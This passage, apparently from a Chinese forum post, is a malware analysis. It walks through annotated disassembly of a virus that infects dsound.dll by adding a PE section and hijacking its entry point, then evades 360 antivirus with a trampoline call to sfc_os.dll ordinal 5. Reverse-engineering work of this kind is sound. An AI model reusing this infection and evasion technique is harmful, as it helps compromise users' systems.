dword ptr ds:[eax+0x10] ; 区块文件大小00403E36 |. |E8 A5FAFFFF |call Cracker.004038E0 ; 对齐后大小00403E3B |. |50 |push eax ; /MemSize00403E3C |. |6A 40 |push 0x40 ; |Flags = GPTR00403E3E |. |FF15 38504000 |call dword ptr ds:[<&kernel32.GlobalAllo>; \GlobalAlloc00403E44 |. |8947 50 |mov dword ptr ds:[edi+0x50],eax ; 开辟区块大小00403E47 |. |8B0F |mov ecx,dword ptr ds:[edi]00403E49 |. |FF71 10 |push dword ptr ds:[ecx+0x10] ; /n00403E4C |. |8B49 14 |mov ecx,dword ptr ds:[ecx+0x14] ; |00403E4F |. |030E |add ecx,dword ptr ds:[esi] ; |00403E51 |. |51 |push ecx ; |src00403E52 |. |50 |push eax ; |dest00403E53 |. |E8 D4090000 |call <jmp.&MSVCRT.memcpy> ; \memcpy00403E58 |. |83C4 0C |add esp,0xC ; 拷贝区块数据接下来重写备份文件dsound.dll.bat 在这个文件末尾增加一个区段00402525 |. 50 push eax ; .text600402526 |. E8 FF150000 call Cracker.00403B2A ; 查看是否有增加区段0040252B |. 85C0 test eax,eax00402545 |. FF75 0C push [arg.2] ; C:\Program Files\Common Files\System\kd******.dla(资源)00402548 |. 8D45 EC lea eax,[local.5] ; .text80040254B |. 8D8D 14FFFFFF lea ecx,[local.59]00402551 |. 68 00080000 push 0x800 ; size00402556 |. 50 push eax ; .text800402557 |. E8 63140000 call Cracker.004039BF ; 增加区段跟进 004039D0 |. FF70 3C push dword ptr ds:[eax+0x3C] ; 文件对齐200h004039D3 |. 0FB758 06 movzx ebx,word ptr ds:[eax+0x6] ; 区块数004039D7 |. FF75 0C push [arg.2] ; size= 800004039DA |. E8 01FFFFFF call Cracker.004038E0 ; 对齐函数004039DF |. 8B4E 18 mov ecx,dword ptr ds:[esi+0x18]004039E2 |. 8945 0C mov [arg.2],eax004039E5 |. FF71 38 push dword ptr ds:[ecx+0x38] ; 内存对齐004039E8 |. 8BCE mov ecx,esi004039EA |. 50 push eax004039EB |. E8 F0FEFFFF call Cracker.004038E0 ; 1000h004039F0 |. 8B4E 18 mov ecx,dword ptr ds:[esi+0x18]004039F3 |. 8945 F0 mov [local.4],eax ; 内存对齐大小1000h004039F6 |. 8B449E 18 mov eax,dword ptr ds:[esi+ebx*4+0x18] ; 最后一个区块头004039FA |. FF71 3C push dword ptr ds:[ecx+0x3C]004039FD |. 8B48 14 mov ecx,dword ptr ds:[eax+0x14] ; 最后区块文件偏移00403A00 |. 0348 10 add ecx,dword ptr ds:[eax+0x10] ; 文件大小 = 最后区块文件大小+文件偏移00403A03 |. 51 push ecx00403A04 |. 8BCE mov ecx,esi00403A06 |. E8 D5FEFFFF call Cracker.004038E000403A0B |. 8B4E 18 mov ecx,dword ptr ds:[esi+0x18]00403A0E |. 8945 FC mov [local.1],eax ; 对齐大小59C0000403A11 |. 8B449E 18 mov eax,dword ptr ds:[esi+ebx*4+0x18]00403A15 |. FF71 38 push dword ptr ds:[ecx+0x38]00403A18 |. 8B48 0C mov ecx,dword ptr ds:[eax+0xC]00403A1B |. 0348 08 add ecx,dword ptr ds:[eax+0x8]00403A1E |. 51 push ecx00403A1F |. 8BCE mov ecx,esi00403A21 |. E8 BAFEFFFF call Cracker.004038E0 ; 内存映射后大小00403A26 |. 8D7C9E 1C lea edi,dword ptr ds:[esi+ebx*4+0x1C]00403A2A |. 6A 28 push 0x28 ; /n = 28 (40.)00403A2C |. 6A 00 push 0x0 ; |c = 0000403A2E |. 8945 F8 mov [local.2],eax ; | 5C00000403A31 |. FF37 push dword ptr ds:[edi] ; |s00403A33 |. 897D EC mov [local.5],edi ; |00403A36 |. E8 F70D0000 call <jmp.&MSVCRT.memset> ; \memset00403A3B |. 8B07 mov eax,dword ptr ds:[edi]00403A3D |. 8B4D FC mov ecx,[local.1]00403A40 |. FF75 08 push [arg.1] ; /s00403A43 |. 8948 14 mov dword ptr ds:[eax+0x14],ecx ; |文件偏移00403A46 |. 8B07 mov eax,dword ptr ds:[edi] ; |00403A48 |. 8B4D F8 mov ecx,[local.2] ; |内存映射偏移00403A4B |. 8948 0C mov dword ptr ds:[eax+0xC],ecx ; |00403A4E |. 8B0F mov ecx,dword ptr ds:[edi] ; |00403A50 |. 8B45 0C mov eax,[arg.2] ; |00403A53 |. 8941 10 mov dword ptr ds:[ecx+0x10],eax ; |文件大小00403A56 |. 8B0F mov ecx,dword ptr ds:[edi] ; |00403A58 |. 8941 08 mov dword ptr ds:[ecx+0x8],eax ; |00403A5B |. 8B07 mov eax,dword ptr ds:[edi] ; |00403A5D |. C740 24 60000>mov dword ptr ds:[eax+0x24],0xE0000060 ; |区块属性00403A64 |. E8 BD0D0000 call <jmp.&MSVCRT.strlen> ; \strlen00403A69 |. 50 push eax ; /n00403A6A |. FF75 08 push [arg.1] ; |src00403A6D |. FF37 push dword ptr ds:[edi] ; |dest00403A6F |. E8 B80D0000 call <jmp.&MSVCRT.memcpy> ; \memcpy00403A74 |. 83C4 1C add esp,0x1C ; 给新增加区块赋值00403A77 |. 8D5C9E 6C lea ebx,dword ptr ds:[esi+ebx*4+0x6C]00403A7B |. FF75 0C push [arg.2] ; /MemSize00403A7E |. 6A 40 push 0x40 ; |Flags = GPTR00403A80 |. FF15 38504000 call dword ptr ds:[<&kernel32.GlobalAlloc>; \GlobalAlloc00403A86 |. 8903 mov dword ptr ds:[ebx],eax00403A88 |. 8B46 18 mov eax,dword ptr ds:[esi+0x18]00403A8B |. 68 65010000 push 0x165 ; /n = 165 (357.)00403A90 |. 68 88604000 push Cracker.00406088 ; |src = Cracker.0040608800403A95 |. 66:FF40 06 inc word ptr ds:[eax+0x6] ; |区块数加100403A99 |. 8B17 mov edx,dword ptr ds:[edi] ; |00403A9B |. 8B4E 18 mov ecx,dword ptr ds:[esi+0x18] ; |00403A9E |. 8B52 0C mov edx,dword ptr ds:[edx+0xC] ; |.text8 的 VirtualAddress00403AA1 |. 8B41 28 mov eax,dword ptr ds:[ecx+0x28] ; |eax = 原oep(1788)00403AA4 |. 8951 28 mov dword ptr ds:[ecx+0x28],edx ; |修改ope 重新增加区块处执行 00403AA7 |. 8B0F mov ecx,dword ptr ds:[edi] ; |00403AA9 |. 2B41 0C sub eax,dword ptr ds:[ecx+0xC] ; |00403AAC |. 2D 42010000 sub eax,0x142 ; |00403AB1 |. A3 E6614000 mov dword ptr ds:[0x4061E6],eax ; |00403AB6 |. FF33 push dword ptr ds:[ebx] ; |dest00403AB8 |. E8 6F0D0000 call <jmp.&MSVCRT.memcpy> ; \memcpy00403ABD |. 8B03 mov eax,dword ptr ds:[ebx] ; 拷贝(357字节大小)地址406088作作为新区段00403ABF |. 6A 04 push 0x4 ; /n = 400403AC1 |. 68 F0614000 push Cracker.004061F0 ; |src = Cracker.004061F000403AC6 |. C680 64010000>mov byte ptr ds:[eax+0x164],0x1 ; |00403ACD |. 8B03 mov eax,dword ptr ds:[ebx] ; |00403ACF |. 05 66010000 add eax,0x166 ; |00403AD4 |. 50 push eax ; |dest00403AD5 |. E8 520D0000 call <jmp.&MSVCRT.memcpy> ; \memcpy00403ADA |. 8B03 mov eax,dword ptr ds:[ebx] ; 拷贝CSO00403ADC |. FF75 10 push [arg.3] ; 资源dll00403ADF |. C680 65010000>mov byte ptr ds:[eax+0x165],0x78 ; 修改刚拷贝的第357字节为0x7800403AE6 |. 8B03 mov eax,dword ptr ds:[ebx]00403AE8 |. 05 6A010000 add eax,0x16A00403AED |. 50 push eax00403AEE |. E8 B0DBFFFF call Cracker.004016A3 ; 拷贝C:\Program Files\Common Files\System\kd******.dla路径修改pe ,然后把修改后的pe 写回dsound.dll.bat00403EDD |. 6A 03 push 0x300403EDF |. 57 push edi00403EE0 |. FF75 08 push [arg.1] ; 打开文件dsound.dll.bat00403EE3 |. FF55 F8 call [local.2]00403EE6 |. 83F8 FF cmp eax,-0x100403EE9 |. 8945 FC mov [local.1],eax00403EEC |. 75 04 jnz XCracker.00403EF200403EEE |. 6A 03 push 0x300403EF0 |. EB 34 jmp XCracker.00403F2600403EF2 |> 8BCE mov ecx,esi00403EF4 |. E8 FDF9FFFF call Cracker.004038F6跟进这个call修改PE 0040390C |> /FF70 38 /push dword ptr ds:[eax+0x38] ; 内存对齐1000h0040390F |. |8B07 |mov eax,dword ptr ds:[edi]00403911 |. |8BCE |mov ecx,esi00403913 |. |FF70 0C |push dword ptr ds:[eax+0xC] ; 区段RVA00403916 |. |E8 C5FFFFFF |call Cracker.004038E00040391B |. |8B0F |mov ecx,dword ptr ds:[edi]0040391D |. |8941 0C |mov dword ptr ds:[ecx+0xC],eax00403920 |. |8B46 18 |mov eax,dword ptr ds:[esi+0x18]00403923 |. |8BCE |mov ecx,esi00403925 |. |FF70 38 |push dword ptr ds:[eax+0x38]00403928 |. |8B07 |mov eax,dword ptr ds:[edi]0040392A |. |FF70 08 |push dword ptr ds:[eax+0x8] ; 区段内存大小0040392D |. |E8 AEFFFFFF |call Cracker.004038E0 ; 对齐函数00403932 |. |8B0F |mov ecx,dword ptr ds:[edi]00403934 |. |8941 08 |mov dword ptr ds:[ecx+0x8],eax00403937 |. |8B46 18 |mov eax,dword ptr ds:[esi+0x18]0040393A |. |8BCE |mov ecx,esi0040393C |. |FF70 3C |push dword ptr ds:[eax+0x3C] ; 200h0040393F |. |8B07 |mov eax,dword ptr ds:[edi]00403941 |. |FF70 14 |push dword ptr ds:[eax+0x14] ; 文件偏移00403956 |. 8B07 |mov eax,dword ptr ds:[edi]00403958 |. FF70 10 |push dword ptr ds:[eax+0x10] ; 文件大小0040395B |. E8 80FFFFFF |call Cracker.004038E0 ; 对齐后大小00403960 |. 8B0F |mov ecx,dword ptr ds:[edi]00403962 |. 43 |inc ebx00403963 |. 83C7 04 |add edi,0x400403966 |. 8941 10 |mov dword ptr ds:[ecx+0x10],eax00403969 |. 8B46 18 |mov eax,dword ptr ds:[esi+0x18]0040396C |. 0FB748 06 |movzx ecx,word ptr ds:[eax+0x6]00403970 |. 3BD9 |cmp ebx,ecx00403972 |.^ 7C 98 \jl XCracker.0040390C ; 将每个区段大小对齐00403974 |. 5F pop edi00403975 |> 8B449E 18 mov eax,dword ptr ds:[esi+ebx*4+0x18] ; 。text800403979 |. 8B48 0C mov ecx,dword ptr ds:[eax+0xC] ; VirtualAddress0040397C |. 0348 08 add ecx,dword ptr ds:[eax+0x8] ; ecx = sizeOfImage0040397F |. 8B46 18 mov eax,dword ptr ds:[esi+0x18] ; pe00403982 |. 8948 50 mov dword ptr ds:[eax+0x50],ecx ; 更该 SizeOfImage00403985 |. 8B46 18 mov eax,dword ptr ds:[esi+0x18]00403988 |. 89A8 C8000000 mov dword ptr ds:[eax+0xC8],ebp0040398E |. 8B46 18 mov eax,dword ptr ds:[esi+0x18]00403991 |. 89A8 CC000000 mov dword ptr ds:[eax+0xCC],ebp00403997 |. 8B46 18 mov eax,dword ptr ds:[esi+0x18]0040399A |. 89A8 D0000000 mov dword ptr ds:[eax+0xD0],ebp004039A0 |. 8B46 18 mov eax,dword ptr ds:[esi+0x18]004039A3 |. 89A8 D4000000 mov dword ptr ds:[eax+0xD4],ebp004039A9 |. 8B46 18 mov eax,dword ptr ds:[esi+0x18]004039AC |. 89A8 D8000000 mov dword ptr ds:[eax+0xD8],ebp ; 修改 目录表可以发现这个病毒使用一个结构体存放PE信息[esi+8] = IMAGE_DOS_HEADER (0x40)[esi+10] = A8 //MS_DOS 大小[esi+C] = MS_DOS[esi+14] = IMAGE_DOS_Header大小 = 0x40[esi+18] = Image_Nt_Header [esi+1C] = 存放Image_section_header 转到这个地址可以发现0012F3B8 18 3C 39 00 48 3C 39 00 78 3C 39 00 A8 3C 39 00 <9.H<9.x<9.?9.0012F3C8 D8 3C 39 00 08 3D 39 00 38 3D 39 00 68 3D 39 00 ?9.=9.8=9.h=9.0012F3D8 98 3D 39 00 C8 3D 39 00 F8 3D 39 00 28 3E 39 00 ?9.?9.?9.(>9.0012F3E8 58 3E 39 00 88 3E 39 00 B8 3E 39 00 E8 3E 39 00 X>9.?9.?9.?9.这个存放了各个区块头上面这点发现了,,接下来就比较简单了00403E7F |. 8B3D 00504000 mov edi,dword ptr ds:[<&kernel32.LoadLibr>; kernel32.LoadLibraryA00403E85 |. 8BF1 mov esi,ecx00403E87 |. BB 10604000 mov ebx,Cracker.00406010 ; ASCII "Kernel32.dll"00403E8C |. 68 50604000 push Cracker.00406050 ; ASCII "CloseHandle"00403E91 |. 8326 00 and dword ptr ds:[esi],0x000403E94 |. 53 push ebx ; /FileName => "Kernel32.dll"00403E95 |. FFD7 call edi ; \LoadLibraryA00403E97 |. 50 push eax00403E98 |. E8 83DAFFFF call Cracker.0040192000403E9D |. 59 pop ecx00403E9E |. 8945 F4 mov [local.3],eax00403EA1 |. 59 pop ecx00403EA2 |. 68 44604000 push Cracker.00406044 ; ASCII "CreateFileA"00403EE0 |. FF75 08 push [arg.1] ; 打开文件dsound.dll.bat00403EE3 |. FF55 F8 call [local.2]00403EE6 |. 83F8 FF cmp eax,-0x100403EE9 |. 8945 FC mov [local.1],eax00403EEC |. 75 04 jnz XCracker.00403EF200403EEE |. 6A 03 push 0x300403EF0 |. EB 34 jmp XCracker.00403F2600403EF2 |> 8BCE mov ecx,esi00403EF4 |. E8 FDF9FFFF call Cracker.004038F600403EF9 |. 8B46 18 mov eax,dword ptr ds:[esi+0x18]00403EFC |. 0FB740 06 movzx eax,word ptr ds:[eax+0x6] ; 区段 = 500403F00 |. 8B4486 18 mov eax,dword ptr ds:[esi+eax*4+0x18] ; .text8段00403F04 |. 8B48 14 mov ecx,dword ptr ds:[eax+0x14] ; ecx = 指向文件偏移00403F07 |. 8B40 10 mov eax,dword ptr ds:[eax+0x10] ; eax = 该区块文件大小00403F0A |. 03C1 add eax,ecx ; eax = 文件大小00403F0C |. 50 push eax ; /MemSize00403F0D |. 6A 40 push 0x40 ; |Flags = GPTR00403F0F |. 8946 04 mov dword ptr ds:[esi+0x4],eax ; |00403F12 |. FF15 38504000 call dword ptr ds:[<&kernel32.GlobalAlloc>; \GlobalAlloc00403F18 |. 85C0 test eax,eax ; 开辟空间00403F31 |> \6A 40 push 0x40 ; /n = 40 (64.)00403F33 |. FF76 08 push dword ptr ds:[esi+0x8] ; |存放IMAGE_DOS_HANDLE00403F36 |. 50 push eax ; |dest00403F37 |. E8 F0080000 call <jmp.&MSVCRT.memcpy> ; \memcpy00403F3C |. 8B46 10 mov eax,dword ptr ds:[esi+0x10]00403F3F |. 83C4 0C add esp,0xC00403F42 |. A9 00000080 test eax,0x8000000000403F47 |. 75 12 jnz XCracker.00403F5B00403F49 |. 50 push eax ; /MS_DOS 大小00403F4A |. 8B46 14 mov eax,dword ptr ds:[esi+0x14] ; |IMAGE_DOS_Hander 大小00403F4D |. FF76 0C push dword ptr ds:[esi+0xC] ; |src00403F50 |. 0306 add eax,dword ptr ds:[esi] ; |00403F52 |. 50 push eax ; |dest00403F53 |. E8 D4080000 call <jmp.&MSVCRT.memcpy> ; \memcpy00403F58 |. 83C4 0C add esp,0xC00403F5B |> \8B46 08 mov eax,dword ptr ds:[esi+0x8]00403F5E |. BB F8000000 mov ebx,0xF800403F63 |. 53 push ebx ; /n => F8 (248.)00403F64 |. 8B40 3C mov eax,dword ptr ds:[eax+0x3C] ; |e_lfanew00403F67 |. FF76 18 push dword ptr ds:[esi+0x18] ; |src00403F6A |. 0306 add eax,dword ptr ds:[esi] ; |Image_nt_Header00403F6C |. 50 push eax ; |dest00403F6D |. E8 BA080000 call <jmp.&MSVCRT.memcpy> ; \memcpy00403F72 |. 8B46 08 mov eax,dword ptr ds:[esi+0x8]00403F75 |. 83C4 0C add esp,0xC00403F78 |. 8B78 3C mov edi,dword ptr ds:[eax+0x3C]00403F7B |. 8B46 18 mov eax,dword ptr ds:[esi+0x18]00403F7E |. 03FB add edi,ebx ; edi = 区块头(偏移)00403F80 |. 0FB740 06 movzx eax,word ptr ds:[eax+0x6] ; 区块数00403F84 |. 85C0 test eax,eax00403F86 |. 8945 F0 mov [local.4],eax00403F89 |. 76 52 jbe XCracker.00403FDD00403F8B |. 8365 08 00 and [arg.1],0x000403F8F |. 8D5E 1C lea ebx,dword ptr ds:[esi+0x1C] ; IMage_SECTION_Header00403F92 |. 8945 F8 mov [local.2],eax00403F95 |> 8B45 08 /mov eax,[arg.1]00403F98 |. 6A 28 |push 0x28 ; /n = 28 (40.)00403F9A |. 0306 |add eax,dword ptr ds:[esi] ; |00403F9C |. FF33 |push dword ptr ds:[ebx] ; |IMAGE_SECTION_HEADER00403F9E |. 03C7 |add eax,edi ; |00403FA0 |. 50 |push eax ; |dest00403FA1 |. E8 86080000 |call <jmp.&MSVCRT.memcpy> ; \memcpy00403FA6 |. 8345 08 28 |add [arg.1],0x2800403FAA |. 83C4 0C |add esp,0xC00403FAD |. 83C3 04 |add ebx,0x400403FB0 |. FF4D F8 |dec [local.2] ; count = 600403FB3 |.^ 75 E0 \jnz XCracker.00403F9500403FBF |. 8BD8 mov ebx,eax00403FC1 |> 8B07 /mov eax,dword ptr ds:[edi]00403FC3 |. FF70 10 |push dword ptr ds:[eax+0x10] ; /区块 SizeOfRawData00403FC6 |. 8B40 14 |mov eax,dword ptr ds:[eax+0x14] ; |文件指针00403FC9 |. 0306 |add eax,dword ptr ds:[esi] ; |00403FCB |. FF77 50 |push dword ptr ds:[edi+0x50] ; |src00403FCE |. 50 |push eax ; |dest00403FCF |. E8 58080000 |call <jmp.&MSVCRT.memcpy> ; \memcpy00403FD4 |. 83C4 0C |add esp,0xC00403FD7 |. 83C7 04 |add edi,0x400403FDA |. 4B |dec ebx ; 拷贝个区块数据00403FDB |.^ 75 E4 \jnz XCracker.00403FC100403FDD |> 8B5D FC mov ebx,[local.1] ; dsound.dll,bat00403FE0 |. 8B3D 14504000 mov edi,dword ptr ds:[<&kernel32.SetFileP>; kernel32.SetFilePointer00403FE6 |. 33C0 xor eax,eax00403FE8 |. 50 push eax ; /Origin => FILE_BEGIN00403FE9 |. 50 push eax ; |pOffsetHi => NULL00403FEA |. 50 push eax ; |OffsetLo => 000403FEB |. 53 push ebx ; |hFile00403FEC |. FFD7 call edi ; \SetFilePointer00403FEE |. 8D45 EC lea eax,[local.5]00403FF1 |. 6A 00 push 0x0 ; /pOverlapped = NULL00403FF3 |. 50 push eax ; |pBytesWritten00403FF4 |. FF76 04 push dword ptr ds:[esi+0x4] ; |nBytesToWrite00403FF7 |. FF36 push dword ptr ds:[esi] ; |Buffer00403FF9 |. 53 push ebx ; |hFile00403FFA |. FF15 1C504000 call dword ptr ds:[<&kernel32.WriteFile>] ; \WriteFile接下来生成系统目录\system\dsound.dll.****(随机生成的) 并且移动dsound.dll到dsound.dll.****004044AE |. C645 DE 41 mov byte ptr ss:[ebp-0x22],0x41 ; MoveFileEx , CopyFile004044B2 |. 885D DF mov byte ptr ss:[ebp-0x21],bl004044B5 |. FFD6 call esi004044B7 |. 50 push eax004044B8 |. E8 63D4FFFF call Cracker.00401920004044BD |. 59 pop ecx004044BE |. 8945 AC mov [local.21],eax ; [local.21] = Copyfile004044C1 |. 59 pop ecx004044C2 |. 8D45 D4 lea eax,[local.11]004044C5 |. 50 push eax004044C6 |. 57 push edi004044C7 |. FFD6 call esi004044C9 |. 50 push eax004044CA |. E8 51D4FFFF call Cracker.00401920004044CF |. 8945 08 mov [arg.1],eax ; [arg1] = MovefileEx004044D2 |. 8D85 94FDFFFF lea eax,[local.155]004044D8 |. 50 push eax ; C:\Windows\system32\dsound.dll004044D9 |. E8 E6D2FFFF call Cracker.004017C4004044DE |. 83C4 0C add esp,0xC004044E1 |. 85C0 test eax,eax004044E3 |. 0F84 87000000 je Cracker.00404570004044E9 |. 8D85 8CFBFFFF lea eax,[local.285] ; C:\Windows\system32\dsound.dll.CNCL004044EF |. 50 push eax004044F0 |. E8 CFD2FFFF call Cracker.004017C4 ; 判断文件是否存在接下来查看是否有360004041AA |. C645 F4 33 mov byte ptr ss:[ebp-0xC],0x33004041AE |. C645 F5 36 mov byte ptr ss:[ebp-0xB],0x36004041B2 |. C645 F6 30 mov byte ptr ss:[ebp-0xA],0x30004041B6 |. C645 F7 74 mov byte ptr ss:[ebp-0x9],0x74004041BA |. C645 F8 72 mov byte ptr ss:[ebp-0x8],0x72004041BE |. C645 F9 61 mov byte ptr ss:[ebp-0x7],0x61004041C2 |. C645 FA 79 mov byte ptr ss:[ebp-0x6],0x79004041C6 |. C645 FB 2E mov byte ptr ss:[ebp-0x5],0x2E004041CA |. C645 FC 65 mov byte ptr ss:[ebp-0x4],0x65004041CE |. C645 FD 78 mov byte ptr ss:[ebp-0x3],0x78004041D2 |. C645 FE 65 mov byte ptr ss:[ebp-0x2],0x65 ; 360tray.exe004041D6 |. E8 25CEFFFF call Cracker.00401000call 401000 使用CreateToolhelp32Snapshot,Process32First,Process32Next 查看是否有360跟进接下来一个call 这个call就是这个病毒怎么过360j检测的如果存在,则利用技巧躲避360的api调用检查来调用sfc_os.dll5号函数,从而修改系统文件,躲过360.00404069 . C645 DF 65 mov byte ptr ss:[ebp-0x21],0x650040406D . 8065 E0 00 and byte ptr ss:[ebp-0x20],0x0 ; SeDebugPrivilege00404071 . 6A 01 push 0x100404073 . 8D45 D0 lea eax,dword ptr ss:[ebp-0x30]00404076 . 50 push eax00404077 . E8 B3D3FFFF call Cracker.0040142F ; 提权0040407C . 59 pop ecx0040407D . 59 pop ecx0040407E . C645 E4 73 mov byte ptr ss:[ebp-0x1C],0x7300404082 . C645 E5 66 mov byte ptr ss:[ebp-0x1B],0x6600404086 . C645 E6 63 mov byte ptr ss:[ebp-0x1A],0x630040408A . C645 E7 5F mov byte ptr ss:[ebp-0x19],0x5F0040408E . C645 E8 6F mov byte ptr ss:[ebp-0x18],0x6F00404092 . C645 E9 73 mov byte ptr ss:[ebp-0x17],0x7300404096 . C645 EA 2E mov byte ptr ss:[ebp-0x16],0x2E0040409A . C645 EB 64 mov byte ptr ss:[ebp-0x15],0x640040409E . C645 EC 6C mov byte ptr ss:[ebp-0x14],0x6C004040A2 . C645 ED 6C mov byte ptr ss:[ebp-0x13],0x6C004040A6 . 8065 EE 00 and byte ptr ss:[ebp-0x12],0x0 ; sfc_os.dll004040AA . 68 04010000 push 0x104 ; /n = 104 (260.)004040AF . 6A 00 push 0x0 ; |c = 00004040B1 . 68 2C634000 push Cracker.0040632C ; |s = Cracker.0040632C004040B6 . E8 77070000 call <jmp.&MSVCRT.memset> ; \memset004040BB . 83C4 0C add esp,0xC004040BE . 68 82000000 push 0x82 ; /WideBufSize = 82 (130.)004040C3 . 68 2C634000 push Cracker.0040632C ; |WideCharBuf = Cracker.0040632C004040C8 . FF75 08 push dword ptr ss:[ebp+0x8] ; |/String004040CB . FF15 54504000 call dword ptr ds:[<&kernel32.lstrlen>; |\lstrlenA004040D1 . 50 push eax ; |StringSize004040D2 . FF75 08 push dword ptr ss:[ebp+0x8] ; |StringToMap004040D5 . 6A 00 push 0x0 ; |Options = 0004040D7 . 6A 00 push 0x0 ; |CodePage = CP_ACP004040D9 . FF15 08504000 call dword ptr ds:[<&kernel32.MultiBy>; \MultiByteToWideChar004040DF . 8D45 E4 lea eax,dword ptr ss:[ebp-0x1C]004040E2 . 50 push eax ; /FileName004040E3 . FF15 00504000 call dword ptr ds:[<&kernel32.LoadLib>; \LoadLibraryA004040E9 . 8945 F8 mov dword ptr ss:[ebp-0x8],eax ; LoadLirbary("scf_os.dll")004040EC . 837D F8 00 cmp dword ptr ss:[ebp-0x8],0x0004040F0 . 75 07 jnz XCracker.004040F9004040F2 . 33C0 xor eax,eax004040F4 . E9 9E000000 jmp Cracker.00404197004040F9 > 8365 F0 00 and dword ptr ss:[ebp-0x10],0x0004040FD . 6A 05 push 0x5 ; 5004040FF . FF75 F8 push dword ptr ss:[ebp-0x8] ; HMOdule00404102 . E8 19D8FFFF call Cracker.0040192000404107 . 59 pop ecx ; 获取5号函数指针00404108 . 59 pop ecx00404109 . 8945 F4 mov dword ptr ss:[ebp-0xC],eax0040410C . 8B45 F4 mov eax,dword ptr ss:[ebp-0xC]0040410F . 8945 FC mov dword ptr ss:[ebp-0x4],eax00404112 . 0FB605 286340>movzx eax,byte ptr ds:[0x406328]00404119 . 83E0 01 and eax,0x10040411C . 85C0 test eax,eax0040411E . 75 22 jnz XCracker.0040414200404120 . A0 28634000 mov al,byte ptr ds:[0x406328]00404125 . 0C 01 or al,0x100404127 . A2 28634000 mov byte ptr ds:[0x406328],al0040412C . 6A 0A push 0xA ; /dwBytes = A (10.)0040412E . 6A 08 push 0x8 ; |dwFlags = HEAP_ZERO_MEMORY00404130 . FF15 50504000 call dword ptr ds:[<&kernel32.GetProc>; |[GetProcessHeap00404136 . 50 push eax ; |hHeap00404137 . FF15 4C504000 call dword ptr ds:[<&kernel32.HeapAll>; \RtlAllocateHeap0040413D . A3 24634000 mov dword ptr ds:[0x406324],eax ; 堆中分配10字节空间00404142 > 6A 05 push 0x5 ; /n = 500404144 . FF75 FC push dword ptr ss:[ebp-0x4] ; | 复制5号函数的前5个字节内容到分配的堆空间中00404147 . FF35 24634000 push dword ptr ds:[0x406324] ; |dest = 001548080040414D . E8 DA060000 call <jmp.&MSVCRT.memcpy> ; \memcpy00404152 . 83C4 0C add esp,0xC00404155 . A1 24634000 mov eax,dword ptr ds:[0x406324]0040415A . C640 05 E9 mov byte ptr ds:[eax+0x5],0xE9 ; 覆盖第6个字节 为 jmp0040415E . 8B45 FC mov eax,dword ptr ss:[ebp-0x4]00404161 . 2B05 24634000 sub eax,dword ptr ds:[0x406324]00404167 . 83E8 05 sub eax,0x5 ; 计算jmp 地址0040416A . 8B0D 24634000 mov ecx,dword ptr ds:[0x406324]00404170 . 8941 06 mov dword ptr ds:[ecx+0x6],eax ; 写入jmp地址00404173 . 6A FF push -0x100404175 . 68 2C634000 push Cracker.0040632C ; UNICODE "C:\WINDOWS\system32\dsound.dll"0040417A . 6A 00 push 0x00040417C . E8 00000000 call Cracker.00404181 ; 下面四句计算返回地址40418C,并压入栈00404181 $ 58 pop eax00404182 . 83C0 0B add eax,0xB00404185 . 50 push eax00404186 .- FF25 24634000 jmp dword ptr ds:[0x406324] ; 调转到开辟10字节堆空间0040418C . FF75 F8 push dword ptr ss:[ebp-0x8] ; /hLibModule0040418F . FF15 48504000 call dword ptr ds:[<&kernel32.FreeLib>; \FreeLibrary00404195 . 33C0 xor eax,eax00404197 > 5F pop edi00404198 . 5E pop esi00404199 . 5B pop ebx0040419A . C9 leave0040419B . C3 retn0040455B |. /74 13 je XCracker.004045700040455D |. |8D85 8CFBFFFF lea eax,[local.285]00404563 |. |6A 01 push 0x100404565 |. |50 push eax ; C:\Windows\system32\dsound.dll.CNCL00404566 |. |8D85 94FDFFFF lea eax,[local.155]0040456C |. |50 push eax ; C:\Windows\system32\dsound.dll0040456D |. |FF55 08 call [arg.1] ; MoveFileEx00404570 |> \8D85 98FEFFFF lea eax,[local.90]00404576 |. 50 push eax ; C:\Windows\system32\DllCache\dsound.dll到这里母体就差不多了,,,,看来还有一些主要的功能是在dll,,,改天再看了。洗洗睡觉。这次就不写总结了,,,,,
创建帐户或登录后发表意见